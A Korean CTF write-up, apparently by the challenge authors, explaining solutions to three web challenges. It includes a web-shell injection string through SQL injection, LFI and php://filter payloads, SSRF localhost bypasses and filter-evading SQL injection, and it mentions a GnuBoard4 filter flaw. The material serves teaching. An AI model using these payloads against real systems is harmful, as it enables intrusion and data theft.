- ๋ฌผ๋ก ์ ์ ๊ฐ์ด Javascript ๊ฒ์ ํต์ ๋ง๋ค์ด ํ๋ ์ดํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์์ง๋ง, ๊ฒ์ ๋ก์ง์ ํ์ ํ์ฌ Javascript๋ฅผ ์ฝ๋ฉํ ์ ์๋ค๋ฉด ํ๋ ์ด ๋์ ๋ฐ๋ณต๋ฌธ์ผ๋ก ์๋์ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
4. Javascript Coding๋ฅผ ํตํ์ฌ ํ๋๊ทธ ํ๋ํ๊ธฐ
- ์ด๋ฒ์๋ ๊ฒ์ ํต์ผ๋ก ๋ฌธ์ ํ์ด ๋์ Javascript ์ฝ๋ฉ์ ํตํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ ํ์.
$.ajaxSetup({async: false});
var url = "check.php";
var data = {kills: 15, token: "start"};
token = 1;
$.post(url, data, function(response) {
token = response;
});
for(var i = 0; i <= 35; i++) {
var data = {kills: 15, token: token};
$.post(url, data, function(response) {
token = response;
});
};
var data = {check: "clear"};
$.post(url, data, function(response) {
eval(response);
});
- Game ๋ก์ง์ ํ์ ํ๋ค๋ฉด ์์ ๊ฐ์ด Javascript Code์ Ajax๋ฅผ ํตํ์ฌ ๋ฌธ์ ๋ฅผ ํ ์ ์๋ค. ๋ก์ง์ ์๋ฆฌ๋ Kills์๊ฐ 15๋ฅผ ์ด๊ณผํ ์ ์์ผ๋ฏ๋ก, ๋จผ์ Token๊ฐ์ "start"๋ฅผ ๋ณด๋ด์ด ๋ ๋ฒ์งธ ์ดํ๋ถํฐ ์๋ต๋์ด ์จ ํ ํฐ์ ๊ฐ์ง๊ณ ๋ค์ 35๋ฒ ๋ฐ๋ณต์ ํตํ์ฌ ํ ํฐ์ ์ ์กํ๊ณ , ๋ง์ง๋ง์ผ๋ก ๊ณต๊ฒฉ์(์ธ๊ณ์ธ)๋ฅผ ์ ๋ถ ๋ฌผ๋ฆฌ์ณค๋ค๋ "check=clear" ๊ฐ์ ์ ์กํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ๋ ๋ก์ง์ด๋ค.
- Flag is bob{b0b_!s_fun_g@me_r3tr0}
- ๋ํ ๋๋๊ณ Access.log๋ฅผ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ... "105961" Line์ด ์์๋ค์. 3์ผ ๋ง์ 10๋ง ์ค์ด ์์ธ ๊ฑธ ๋ณด๋ ์ค๊ธฐ๋ก ๊ฒ์ ํ๋ ์ด์ด ํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ ๋ถ๋ ๊ณ์ค ๊ฑฐ๋ผ ์์๋ฉ๋๋ค... (์กด๊ฒฝ์ค๋ฝ์ต๋๋ค...)
babyweb
๋ฌธ์ ์ค๋ช ์ /readFlag ๋ผ๊ณ ๋์ด ์์ผ๋ฏ๋ก RCE๋ฅผ ํด์ผํ๋ ๋ฌธ์ ์ด๋ค.
๋ฌธ์ ํ์ด์ง์ ์ ์ํ๋ฉด XML ์ฌ์ฉํ๋ ํ์ด์ง๊ฐ ๋์จ๋ค.
XXE ๊ณต๊ฒฉ์ ํตํด ์์ค ํ์ด์ง๋ฅผ ํ๋ํ๋์ฉ ๋ณธ๋ค.
๋จผ์ "join.php"๋ฅผ ๋ณด๋ฉด htmlentities๋ฅผ ํตํด ๋ฌด์ธ๊ฐ๋ฅผ ๋ง์ผ๋ คํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
<?php
$id = mysqli_real_escape_string($dbc, htmlentities($_POST['id'], ENT_QUOTES, "UTF-8"));
$pw = hash('sha256', $_POST['pw']);
$nick = mysqli_real_escape_string($dbc, htmlentities($_POST['nick'], ENT_QUOTES, "UTF-8"));
$query = "INSERT INTO users VALUES (NULL,'{$id}', '{$pw}', '{$nick}', '');";
$result = mysqli_query($dbc, $query);
if($result)
echo '<script>location.href="./";</script>';
else
echo '<script>alert("Error"); history.go(-1);</script>';
๊ทธ๋ฆฌ๊ณ login.php๋ฅผ ๋ณด๋ฉด $_SESSION ๋ณ์์ ๋ก๊ทธ์ธํ ์์ด๋์ ๋๋ค์์ ๋ฃ๋๋ค.
<?php
$id = mysqli_real_escape_string($dbc, $_POST['id']);
$pw = hash('sha256', $_POST['pw']);
$query = "SELECT * FROM users WHERE userid='{$id}' AND password='{$pw}'";
$result = mysqli_query($dbc, $query);
$row = mysqli_fetch_array($result);
if($id===$row['userid'] && $pw===$row['password']){
$_SESSION['nickname'] = $row['nickname'];
$_SESSION['userid'] = $row['userid'];
echo '<script>location.href="./";</script>';
}else
echo '<script>alert("Error"); history.go(-1);</script>';
RCE๋ฅผ ์ํด์๋ LFI ์ทจ์ฝ์ ์ด ํ์ํ๋ค. LFI๋ฅผ ํ๊ธฐ ์ํด์ ํ์ผ ์ ๋ก๋ ๊ธฐ๋ฅ์ ์ด์ฉํ๊ฑฐ๋ ํ์ผ์ ์ํ๋ ๊ฒ์ ์ธ ์ ์๋ ๊ธฐ๋ฅ์ด ์์ผ๋ฉด ๋๋ค.
ํ์ง๋ง "join.php"์์ htmlentities๋ฅผ ์ด์ฉํด ์ธ์ ํ์ผ์ php ํ๊ทธ๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก ์ ํํ์๋ค.
๊ทธ ๋ค์ "getxmldata.php"๋ฅผ ๋ณด๋ฉด mysqli_real_escape_string๋ฅผ ํตํด์ SQLI๋ฅผ ๋ง์ ๊ฒ ์ฒ๋ผ ๋ณด์ด์ง๋ง ์ค์ ๋ก๋ ๋งํ์ง ์์๋ค.
<?php
function xss_filter($data)
{
if(empty($data))
return $data;
if(is_array($data))
{
foreach($data as $key => $value)
{
$data[$key] = xss_filter($value);
}
return $data;
}
$data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data);
$data = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/i', '$1;', $data);
if (function_exists("html_entity_decode"))
{
$data = html_entity_decode($data);
}
else
{
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
$data = strtr($data, $trans_tbl);
}
$data = preg_replace('#(<[^>]+?[\\x00-\\x20"\\'])(?:on|xmlns)[^>]*+>#i', '$1>', $data);
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=[\\x00-\\x20]*([`\\'"]*)[\\x00-\\x20]*j[\\x00-\\x20]*a[\\x00-\\x20]*v[\\x00-\\x20]*a[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#i', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*v[\\x00-\\x20]*b[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#i', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*-moz-binding[\\x00-\\x20]*:#', '$1=$2nomozbinding...', $data);
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?expression[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?behaviour[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:*[^>]*+>#i', '$1>', $data);
$data = preg_replace('#</*\\w+:\\w[^>]*+>#i', '', $data);
do
{
$old_data = $data;
$data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);
return $data;
}
.......
$xmldata = xss_filter(mysqli_real_escape_string($dbc, $data));
$query = 'update users set xmldata="'.$xmldata.'" where userid="'.mysqli_real_escape_string($dbc, $_SESSION['userid']).'";';
$res = mysqli_query($dbc, $query);
RCE๋ฅผ ์ํด ํด๋น ๋ฌธ์ ์์ ์ฌ์ฉํด์ผํ ๊ฒ์ "/var/lib/php/sessions/" ๊ฒฝ๋ก์ ์๋ PHP ์ธ์ ํ์ผ์ ์ฌ์ฉํ๋ ๊ฒ ๋ฐ์๋ ์์ผ๋ฏ๋ก ๋ด์ผํ ๊ฒ์ nickname๊ณผ userid์ PHP ์ฝ๋๋ฅผ ๋ฃ์ ์ ์๊ฒ SQLI ์ธ์ ์ ์ ์๊ฐํ ์ ๋ฐ์ ์๋ค.
mysqli_real_escape_string ํจ์๋ฅผ ์ฌ์ฉํ๋ฉด SQLI ์ทจ์ฝ์ ์ ๋ง์ ์ ์์ง๋ง ํด๋น ํจ์๋ฅผ ์ฌ์ฉํ๋ค์ xss_filter ํจ์๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ SQLI ์ทจ์ฝ์ ์ด ์ผ์ด๋ ๊ณณ์ ์ฌ๊ธฐ๋ฐ์ ์๋ค.
$xmldata = xss_filter(mysqli_real_escape_string($dbc, $data));
$query = 'update users set xmldata="'.$xmldata.'" where userid="'.mysqli_real_escape_string($dbc, $_SESSION['userid']).'";';
$res = mysqli_query($dbc, $query);
๊ทธ ํ xss_filter๋ฅผ ์์ธํ ์ดํด๋ณด๋ฉด ์๋์ ๊ฐ์ ํจ์๋ฅผ ์ฐพ์ ์ ์๋ค.
if (function_exists("html_entity_decode"))
{
$data = html_entity_decode($data);
}
xss๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํด์ html_entity_decodeํจ์๋ฅผ ์ฌ์ฉํ๋๋ฐ ์ฌ๊ธฐ์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค.
๋ง์ฝ aaaa"bbbb ๋ฅผ ์ฌ์ฉํ๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น?
์ ๋ฐ์ดํฐ๊ฐ html_entity_decode๋ฅผ ๊ฑฐ์น๋ฉด ์๋์ ๊ฐ์ด ๋ณํ๋๋ค.
aaaa"bbbb
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ quot๋ฌธ์๋ฅผ ์ฌ์ฉํ ์ ์๊ณ update ๋ฌธ์์ SQLI๊ฐ ๋ฐ์ํ๊ฒ ํ ์ ์๋ค.
๊ณต๊ฒฉ ์ฝ๋
aaaa", nickname="<?php system($_GET[x]);
๋ณํ๋ ๊ณต๊ฒฉ ์ฝ๋
aaaa", nickname="<?php system($_GET[x]);
์ฌ์ค ์ด๋ ๊ฒ๋ง ๋ณด๋ฉด ์์ฃผ ๊ฐ๋จํ๊ณ ์ฌ์ด ๋ฌธ์ ์ด์ง๋ง, ์ด ๋ฌธ์ ๋ฅผ ๋ด๊ฒ๋ ๋ฐฐ๊ฒฝ์ด ์๋ค.
xss_filter ํจ์๋ ๊ทธ๋๋ณด๋4์์ ์ฌ์ฉ๋๋ "xss_clean" ํจ์ ์ด๊ณ ์ ๋ก๋ฐ์ด ์ทจ์ฝ์ ์ด์๋ค. ์ง๊ธ์ ๊ทธ๋๋ณด๋5๊ฐ ๋ฐฐํฌ๋๊ณ ์์ด์ ๋ฌธ์ ๋ ์์ง๋ง ์์ง๋ ๊ทธ๋๋ณด๋4 ๋ฐฐํฌ๋ณธ ์์๋ ์ ๋ก๋ฐ์ด ์ทจ์ฝ์ ์ผ๋ก ๋จ์ ์๋ค.
๊ทธ๋๋ณด๋4์์๋ "common.php"์์ mysqli_real_escape_string ๋์ฉ์ผ๋ก addslashes ํจ์๋ฅผ ์ด์ฉํด ์๋ฒ๋ก ์ค๋ ๋ณ์์ ๋ํด ์ ์ฒด์ ์ผ๋ก SQLI๋ฅผ ๋ฐฉ์ดํ๊ณ "extract($_GET);", "extract($_POST);"๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฒ์ ์ค๋ ๋ณ์๋ฅผ ๊ทธ๋๋ก PHP ๋ณ์๋ก ์ฌ์ฉํ ์ ์๋ค.
if( !get_magic_quotes_gpc() )
{
if( is_array($_GET) )
{
while( list($k, $v) = each($_GET) )
{
if( is_array($_GET[$k]) )
{
while( list($k2, $v2) = each($_GET[$k]) )
{
$_GET[$k][$k2] = addslashes($v2);
}
@reset($_GET[$k]);
}
else
{
$_GET[$k] = addslashes($v);
}
}
@reset($_GET);
}
same $_POST ...
same $_COOKIE ...
}
๊ทธ๋์ ์๋์ ๊ฐ์ด ์ฌ์ฉํ๋ฉด ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ธฐ ํ๋ค๋ค. ์ธ๋ป ๋ณด๋ฉด ๊ฒ์ํ์์ xss๋ฅผ ๋ฐฉ์ดํ๋ ๊ฒ ๊ฐ์ง๋ง xss_clean ํจ์ ๋๋ฌธ์ SQLI ์ทจ์ฝ์ ์ด ์ผ์ด๋๋ค.
$query = "update board set title='$title', body='".xss_clean($body)."', '$userid' ...... ";
babyweb ๋ฌธ์ ๋ฅผ ๋ด๋ฉด์ ์ทจ์ฝ์ ์ ์ฝ๊ฒ ์์๋ณผ ์ ์๋๋ก login.php, join.php ๋ฑ์์๋ ์์ ๋ฐ์ดํ๋ฅผ ์ฌ์ฉํ๊ณ , getxmldata.php์์๋ ํฐ ๋ฐ์ดํ๋ฅผ ์ฌ์ฉํ์ผ๋ฉฐ, SQLI ์ทจ์ฝ์ ์ ์ง๊ด์ ์ผ๋ก ์์๋ณผ ์ ์๋๋ก mysqli_real_escape_string์ ์ ์ญ์ ์ผ๋ก ์ฌ์ฉํ์ง ์๊ณ xss_filterํจ์์ ๊ฐ์ด ๋ณด์ด๊ฒ ์ฌ์ฉํ์๋ค.
$query = xss_filter(mysqli_real_escape_string(๋ฐ์ดํฐ));
CatDog
1. index.php ์์ค์ฝ๋ ์ถ์ถ + lfi ์ทจ์ฝ์
- ๋ฉ์ธํ์ด์ง์์ view-source๋ฅผ ํ๋ฉด 68๋ฒ์งธ ๋ผ์ธ์ ์ฃผ์์ผ๋ก
index.php/?source
๊ฐ ์๋ค.
<?php
include_once "header.php";
include_once "config.php";
if(isset($_GET['source'])){
echo "<div style='margin-top: 6rem;'/>";
highlight_file(__FILE__);
die();
}
$page = $_GET["page"];
if(isset($page) and is_string($page)){
if(preg_match("/.php/", $page) === 0){
$page .= ".php";
}
if(preg_match("/(login|register)/", $page) === 0 && $_SESSION["username"] == null){
echo "<script>alert('Please Login!');location.href='/?page=login';</script>";
die();
}
include $page;
die();
}
?>
<!-- index.php/?source -->
<div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">
<div>
<img src="/images/bg.jpg" style="width: 100%; height: 80vh; object-fit: cover; opacity: 0.5"/>
</div>
<div style="display: flex; justify-content: center;">
<div style="font-size: 4rem;">
meow
</div>
</div>
</div>
index.php/?source
์ ์ ๊ทผํ๋ฉดindex.php
์ ์์ค์ฝ๋๋ฅผ ์ป์ ์ ์๋ค.
$page
ํ๋ผ๋ฏธํฐ๋ฅผ includeํ๋ ๊ฒ์ผ๋ก ๋ณด์ lfi ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ ๋ณผ ์ ์๋ค.
if(preg_match("/.php/", $page) === 0){
$page .= ".php";
}
$page
ํ๋ผ๋ฏธํฐ์.php
๊ฐ ์กด์ฌํ์ง ์์ ๊ฒฝ์ฐ ๋ง์ง๋ง์.php
๋ฅผ ์ถ๊ฐํ๋ ์ฝ๋๊ฐ ์์ง๋ง, ํด๋น ์ ๊ทํํ์์.php
๊ฐ ์กด์ฌํ๊ธฐ๋ง ํ๋ค๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
- ๋ฐ๋ผ์
/?page=/.php/../../../../../../etc/issue
์ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ํตํด file leak์ด ๊ฐ๋ฅํ๋ค.
- ๋ํ,
/?page=php://filter/convert.base64-encode/resource=articles
์ ๊ฐ์ด php wrapper๋ฅผ ์ด์ฉํ์ฌ ์๋น์ค์ ์กด์ฌํ๋ php ์์ค์ฝ๋๋ฅผ ๋ชจ๋ leakํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
2. ssrf ์ทจ์ฝ์
- ๋ค์์ผ๋ก articles๋ฅผ ๋ณด๋ฉด ๊ธ ์์ฑ ์ ์ด๋ฏธ์ง๊ฐ ์๋์ผ๋ก ์ฒจ๋ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋๋ฐ, ์ด ์ด๋ฏธ์ง๋ฅผ mypage์์ ๋ณ๊ฒฝํ ์ ์๋ค.
<!-- ... -->
<?php
if(isset($_POST["type"])){
sleep(3);
$url = trim($_POST["url"]);
if(preg_match("/^(http\:\/\/|https\:\/\/)/", $url) === 0 || preg_match("/(127\.0\.0\.1|localhost)/", $url) === 1){
echo("<script>alert('Don\'t hack!');location.href='/?page=mypage';</script>");
die();
}
if(!isset($url) || $url == ""){
echo("<script>alert('Enter the image URL!');location.href='/?page=mypage';</script>");
die();
}
if($_POST["type"] === "p"){
$data = base64_encode(file_get_contents($url));
$src = "data: png;base64,${data}";
echo "<img src='${src}' style='height: 40vh; width: 100%; object-fit: cover;'/>";
}
else if($_POST["type"] === "o"){
$stmt = $sql->prepare("update user set img = ? where username = ?");
$stmt->bind_param('ss', $url, $_SESSION["username"]);
$stmt->execute();
$result = $stmt->get_result();
echo "<script>alert('Complete.');location.href='/?page=articles'</script>";
}
}
?>
<!-- ... -->
- mypage์ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด preview๋ฅผ ๋๋ ์ ๋
file_get_contents
๋ฅผ ์ด์ฉํ์ฌurl
์ ๊ฐ์ ๊ฐ์ ธ์จ ํ base64๋ก ์ธ์ฝ๋ฉํ์ฌ ์ด๋ฏธ์ง๋ฅผ ๋ณด์ฌ์ค๋ค.
- ์ด ๋
file_get_contents
๋ฅผ ์ด์ฉํ file leak์ ๋ฐฉ์งํ๊ธฐ ์ํดhttp/https scheme
๋ฅผ ๊ฐ์ ํ์์ผ๋ฉฐ,localhost
์127.0.0.1
์ ๊ฐ์ ๋ง์๋์๋ค.
- ์ฌ๊ธฐ์ ๋๋ฉ์ธ์
localhost
์127.0.0.1
๋์http://0
์ด๋ 10์ง์ ํํhttp://213070643
๋๋ 16์ง์ ํํhttp://0x7F000001
๋ฑ์ ์ฌ์ฉํ์ฌ ์ฐํํ๋ฉด ssrf ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
3. ํํธ
- ๋ค์ ๋ฌธ์ description์ ์ดํด๋ณด๋ฉด ์ฃผ๋จธ๋์
๊ฐ
๋ฅผ ์จ๊ฒจ๋์์ผ๋ฉฐ, ํ๋๊ทธ๋ฅผ ๊ฐ์ง๊ณ ์๋ค๊ณ ํ๋ค. ํ์ฌ๋ก์ ๊ฐ๊ฐ ์ด๋ค๊ฐ
๊ฐ ์ด๋ค ๊ฒ์ ์๋ฏธํ๋์ง ์ ์ ์๋ค.
- ๋ค์์ผ๋ก, ํ๋จ์ ๋ฐ์ค๋ฅผ ํ์ธํด๋ณด๋ฉด ์น์๋ฒ๊ฐ
www-data
๊ฐ ์๋php
์ ์ ๋ก ๋๊ณ ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- ์น์๋ฒ์ ์ ์ ๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๋ ํน์ํ ๊ฒฝ์ฐ์ด๊ธฐ ๋๋ฌธ์, ์์ฌํด๋ณผ ์ฌ์ง๊ฐ ์๋ค.
- php ๊ณ์ ์ ๋ํ ํํธ๋ฅผ ์ป์์ผ๋, lfi ์ทจ์ฝ์ ์ ์ด์ฉํด
/etc/passwd
ํ์ผ์ ํ์ธํด๋ณด์.
- ํด๋น ํ์ผ์๋ php ๊ณ์ ๊ณผ python ๊ณ์ ์ด ์กด์ฌํ๋ฉฐ,
/home/php
์/home/python
๊ฐ ํ ๋๋ ํ ๋ฆฌ๋ก ์ง์ ๋์ด ์๋ค. ๋ํ, ๊ณ์ ์ ๊ทผ ์/bin/bash
๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ๋ณด์ ์์ ์ฌ์ฉํ๋ค๋ ๊ฒ์ ์ ์ถํ ์ ์๋ค.
php
๊ณ์ ํ ๋๋ ํ ๋ฆฌ์ ์กด์ฌํ๋.bash_history
๋ฅผ ํ์ธํด๋ณด๋ฉดlocalhost
์ 2026 ํฌํธ๋กcurl
์์ฒญ์ ๋ ๋ฆฌ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด๋ฅผ ํตํด ๋ฌธ์ description์๊ฐ
๊ฐ ์น ์๋น์ค๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
- ํด๋น ํฌํธ์์ ๋๊ณ ์๋ ์น ์๋น์ค๋
localhost
์์๋ง ์ ๊ทผ์ด ๊ฐ๋ฅํ๋๋ก ์ค์ ํ์๊ธฐ ๋๋ฌธ์, ์ด์ ์ ๋ฐ๊ฒฌํ๋ssrf
์ทจ์ฝ์ ์ ํตํด ์์ฒญ์ ํด์ผ๋ง ํ๋ค.
4. ์จ๊ฒจ์ง ์น ์๋น์ค(dog) ์์ฒญ
mypage
์์http://0:2026
์ผ๋กpreview
๋ฅผ ์์ฒญํ๋ฉด ์ ์์ ์ผ๋ก ์์ฒญ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
http://0:2026
Well done! Go to /flag
- ํ๋จ์ ์ด๋ฏธ์ง๋ฅผ
์ ํญ์์ ์ด๊ธฐ
๋ฑ์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ํ์ธํด๋ณด๋ฉดlocalhost
์ 2026 ํฌํธ๋ก ๋๊ณ ์๋์น ์๋น์ค
๋ฅผ ํ์ธํ ์ ์์ผ๋ฉฐ,/flag
path๋ก ์ด๋ํ๋ผ๋ ๋ฉ์์ง๊ฐ ๋ํ๋๋ค.
http://0:2026/flag
Usage : /flag?passcode=
/flag has a delay for 3sec.
Do not bruteforce!
/flag
path์ ์ ๊ทผํ๋ฉดpasscode
๋ฅผ ์๊ตฌํ๋ค.mypage
ํ์ด์ง์ ๋์ผํ๊ฒ 3์ด์ ๋๋ ์ด๋ฅผ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
http://0:2026/flag?passcode=1234
Wrong passcode!
Go back to PHP... You can get the passcode in PHP
- ์๋ฌด
passcode
๋ฅผ ์ ๋ ฅํ๋ฉด ์์ ๊ฐ์ ์๋ด ๋ฉ์์ง๊ฐ ๋ํ๋๋ค. ํ์ฌ ์๋น์ค์์passcode
๋ฅผ ์ป์ ์ ์๋ ๋ฐฉ๋ฒ์ด ์๊ธฐ ๋๋ฌธ์php
์๋น์ค๋ก ๋์๊ฐ์.
5. sql injection โ passcode ํ์ธ
articles.php
ํ์ด์ง์ ์๋จ์ ๋ณด๋ฉด ๊ฒ์ ๋ฐ์ค๊ฐ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
<!-- ... -->
<?php
$s = $_GET["search"];
$search = "%${s}%";
$page = $_GET["p"];
if(!isset($page) || $page == "" || !is_numeric($page)){
$page = 1;
}
else{
$page = intval($page);
}
$page -= 1;
if($page < 0) $page = 0;
$start = $page*10;
if(preg_match("/(\ |\n|\t|\r|@|insert|update|delete|=|like|admin|substr|concat|-|ascii|`|load|into|clue|text\")/i", $search) === 1){
echo "<script>alert('Don\'t hack!');history.back();</script>";
die();
}
$query = "select id, title, content, author, img from board where title like '${search}' or content like '${search}' order by id desc limit ${start}, 10";
$result = mysqli_query($sql, $query);
while ($row = mysqli_fetch_array($result)){
echo "<li onclick=\"location.href='/?page=view&id=${row['id']}';\">";
echo "<img src=\"${row['img']}\" style=\"width: 100%; height: 20vh; object-fit: cover; \">";
echo '<div class="post-info">';
echo '<div class="post-basic-info">';
echo "<h3><a href=\"#\">${row['title']}</a></h3>";
echo "<p>${row['content']}</p>";
echo "<span><a href=\"#\">Writer: ${row['author']}</a></span>";
echo '</div>';
echo '</div>';
echo '</li>';
}
?>
<!-- ... -->
articles.php
์ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ๊ฒ์ ๊ตฌ๋ฌธ์์sql injection
์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
- ํ์ง๋ง ์๋จ์ ์ ๊ทํํ์์์ ์ด๋ ์ ๋์ ๊ณต๋ฐฑ๊ณผ
=
,like
๋ฑ์ ํํฐ๋ง ํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์ ์ ํ ์ฐํํ์ฌ ํ์ํ ์ ๋ณด๋ฅผ ์ป์ด๋ด์ผ ํ๋ค.
- ๊ณต๋ฐฑ์ด ํํฐ๋ง ๋์์ผ๋
\x0b
๋๋/**/
๋ฑ์ ์ฃผ์์ ์ด์ฉํ์ฌ ๊ณต๋ฐฑ์ ๋์ฒดํ๊ณ ,like
์=
๊ฐ ํํฐ๋ง ๋์์ผ๋in
์ ์ฌ์ฉํ์ฌ ๋น๊ต๋ฅผ ํด์ฃผ์.
sql injection
์ ํตํด ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ํ ์ด๋ธ ๋ฆฌ์คํธ๋ฅผ ์ถ์ถํ์์ผ๋ฉฐ, ๊ทธ ์คp4SSc0D3
ํ ์ด๋ธ์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
p4SSc0D3
ํ ์ด๋ธ์ ์ปฌ๋ผ๋ช ์passcode
์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค.
6. flag ํ์ธ
passcode
๋5UP3R_S3CUR3_STR0NG_P4S5C0D3
์ธ ๊ฒ์ ํ์ธํ์ผ๋, ์ด์ ์ ํ์ธํ ์น ์๋น์ค(๊ฐ)์passcode
๋ฅผ ์ ๋ ฅํ๋ฉดflag
๋ฅผ ์ป์ ์ ์๋ค.
- FLAG : bob{sabeon_eun_gaein_juiya}
7. ์ฌ๋ด (1)
sql injection
์ ํตํดadmin
ํ ์ด๋ธ๊ณผclue
ํ ์ด๋ธ์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
// ...
if(preg_match("/(\ |\n|\t|\r|@|insert|update|delete|=|like|admin|substr|concat|-|ascii|`|load|into|clue|text\")/i", $search) === 1){
echo "<script>alert('Don\'t hack!');history.back();</script>";
die();
}
// ...
- ํ์ง๋ง ๋ํ ์๋น์ค ์ค
articles.php
์ ํํฐ๋ง์ผ๋ก ์ธํดclue
์admin
๋ชจ๋ ์ ๊ทผ์ด ๋ถ๊ฐ๋ฅํ ์ํ์๋ค.
admin
ํ ์ด๋ธ์admin ๊ณ์
์ ํ๋ฌธ ํจ์ค์๋๋ฅผ ์ ์ฅํด๋์๋ค.
<!-- ... -->
<?php
if($_SESSION["username"]){
if($_SESSION["username"] === "admin"){
echo "<li><a href=\"/?page=readme\"><span>Readme</span></a></li>";
}
echo "<li style=\"position: absolute; left: 10rem;\"><a href=\"#\" style=\"cursor: default;\"><span>USER : ${_SESSION['username']}</span></a></li>";
echo '<li style="position: absolute; right: 10rem;"><a href="/?page=mypage"><span>Mypage</span></a></li>';
echo '<li style="position: absolute; right: 3rem;"><a href="/?page=logout"><span>Logout</span></a></li>';
}
else{
echo '<li style="position: absolute; right: 3rem;"><a href="/?page=login"><span>Login</span></a></li>';
}
?>
<!-- ... -->
- ๊ทธ๋ฆฌ๊ณ
admin ๊ณ์
์ผ๋ก ๋ก๊ทธ์ธํ๋ฉดreadme.php
ํ์ด์ง์ ์ ๊ทผํ ์ ์๋ ๋ฉ๋ด๊ฐ ์๊ธด๋ค.
<!-- ... -->
<?php
if($_SESSION["username"] !== "admin"){
echo '<script>alert("Invalid access.");history.back();</script>';
die();
}
$stmt = $sql->prepare("select text from clue where 1 limit 1");
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
$data = file_get_contents($row["text"]);
echo $data;
?>
<!-- ... -->
readme.php
ํ์ด์ง๋clue
ํ ์ด๋ธ์ ์กด์ฌํ๋ ํํธ ๋ฉ์์ง๋ฅผ ๋ฐ์์ ์ถ๋ ฅํด์ฃผ๋ ์ญํ ์ ํ๋ค.
- ๋ํ ์ ๋ , ์ ๊ฒฐ์ ์ฝ๋ ์์ ํ๋ค
admin
๋ฌธ์์ด์ ํํฐ๋ง์ ๋ฃ๋ ๋ฐ๋์,,admin ๊ณ์
์ ํจ์ค์๋๋ฅผ ์์๋ด์ง ๋ชปํ๊ฒ ๋์ด ํํธ ํ์ด์ง๊ฐ ์ฌ๋ผ์ง๊ฒ ๋์๋ค.
- ์ด๋ฅผ ์ธ์งํ์ ๋ ์ด๋ฏธ solver๊ฐ ๋์๊ธฐ ๋๋ฌธ์ ์์ ํ ์ ์์ด ํํธ ํ์ด์ง๋ ์์๋ ๊ฒ์ผ๋ก,,, ๋์๋ค.
